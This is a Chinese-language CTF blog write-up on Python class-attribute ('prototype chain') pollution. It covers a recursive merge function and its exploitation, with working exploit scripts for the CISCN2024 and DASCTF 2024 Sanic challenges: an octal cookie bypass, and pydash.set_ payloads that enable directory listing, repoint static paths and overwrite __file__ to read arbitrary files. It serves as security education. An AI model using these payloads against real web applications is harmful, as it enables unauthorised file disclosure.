Python原型链污染&sanic

Fc04dB Lv4

# Python 原型链污染

之前有写过 JS 原型链污染 adout JS - Fc04dB’s BLOG

和 JavaScript 的原型链污染差不多,都是需要 merge 函数来修改父类的属性

# 原型链

在 Python 中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。

# merge 函数

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items(): # 遍历 src 字典中的所有键值对
if hasattr(dst, '__getitem__'): # 检查 dst 是否有 '__getitem__' 属性,即 dst 是否支持键值访问(如字典)
if dst.get(k) and type(v) == dict: # 如果 dst 中存在键 k 且 v 是一个字典
merge(v, dst.get(k)) # 递归调用 merge 函数,将嵌套字典合并
else:
dst[k] = v # 否则,将 v 赋值给 dst 中的键 k
elif hasattr(dst, k) and type(v) == dict: # 如果 dst 不是字典但有属性 k 且 v 是一个字典
merge(v, getattr(dst, k)) # 递归调用 merge,将嵌套字典合并到 dst 对象的属性 k 中
else:
setattr(dst, k, v) # 否则,将属性 k 设置为 v

对 src 中的键值对进行了遍历,然后检查 dst 中是否含有 __getitem__ 属性,以此来判断 dst 是否为字典。如果存在的话,检测 dst 中是否存在属性 k 且 value 是否是一个字典,如果是的话,就继续嵌套 merge 对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将 src 中的 value 的值赋值给 dst 对应的 key 的值。

如果 dst 不含有 getitem 属性的话,那就说明 dst 不是一个字典,就直接检测 dst 中是否存在 k 的属性,并检测该属性值是否为字典,如果是的话就再通过 merge 函数进行遍历,将 k 作为 dst,v 作为 src,继续取出 v 里面的键值对进行遍历。

就是将 src 中正常键值对(value 不是字典)的 value 赋给 dst 中正常键值对的 key 从而污染 dst(目标属性)

# 污染过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world

# CISCN2024 - sanic

CISCN2024-WEB-Sanic gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

image-20240725133112888

/admin forbidden

通过用八进制 adm\073n 绕过 cookie ( RFC2068 的编码规则)

image-20240725135032011

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show'

s = requests.Session()

s.cookies.update({
'user': '"adm\\073n"'
})

s.get(url + '/login')

# 开启目录浏览
data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}

# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}

r = s.post(url + '/admin', json=data)
print(r.text)

# 获取flag路径
# r = s.get(url + '/static/')
# print(r.text)


#污染__file__,读取flag
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
r = s.post(url + '/admin', json=data)
print(r.text)
print(s.get(url + '/src').text)

# DasCTF2024 七月 - Sanic’s revenge

DASCTF 2024 暑期挑战赛 - WEB-Sanic’s revenge gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

#开启列目录
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": "/"}
#修改默认路径
data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
#构造current
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/fJBkhI"}

response = requests.post(url='url', json=data)

print(response.text)
  • Title: Python原型链污染&sanic
  • Author: Fc04dB
  • Created at : 2024-07-25 12:54:41
  • Updated at : 2024-08-28 14:50:59
  • Link: https://redefine.ohevan.com/2024/07/25/Python原型链污染&sanic/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments